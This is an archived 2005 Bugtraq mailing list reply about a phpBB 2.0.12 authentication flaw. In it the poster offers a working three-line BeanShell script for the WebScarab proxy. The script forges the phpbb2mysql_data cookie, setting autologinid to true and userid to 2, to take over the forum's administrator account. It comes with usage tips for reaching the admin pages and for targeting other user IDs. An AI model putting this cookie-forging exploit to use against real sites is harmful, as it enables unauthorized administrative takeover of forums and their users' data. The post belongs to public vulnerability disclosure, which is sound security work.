bugtraq - Re: phpBB <= 2.0.12 UID Exploit

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [<thread-prev] [day] [month] [year] [list]

Message-ID: <1109756783.1630.33.camel@bobby.exaprobe.com>
Date: Wed, 02 Mar 2005 10:46:23 +0100
From: Nicob <nicob@...ob.net>
To: bugtraq@...urityfocus.com, full-disclosure@...ts.netsys.com
Subject: Re: phpBB <= 2.0.12 UID Exploit

federico gonzales wrote :
> 
> I made this exploit for get admin permissions in forums phpbb2 2.0.12.
> It requires mozilla or firefox installed. The instructions are in the
> exploit.

Platform and browser independent exploit in 3 lines of Bean-Shell. Use
this code in WebScarab, and don't forget to desactivate the "Get cookies
from responses" option.

request.deleteHeader("Cookie");
request.addHeader("Cookie","phpbb2mysql_data=a%3A2%3A%7Bs%3A11%3A%22autologinid%22%3Bb%3A1%3Bs%3A6%3A%22userid%22%3Bs%3A1%3A%222%22%3B%7D;");
response = fetchResponse(request);

Note #1 : because of some additional checks for the /admin/ pages, you
should desactivate the BeanShell before following the admin link.
Note #2 : this code tries to get userid=2 privs. Edit it at will ...

Nicob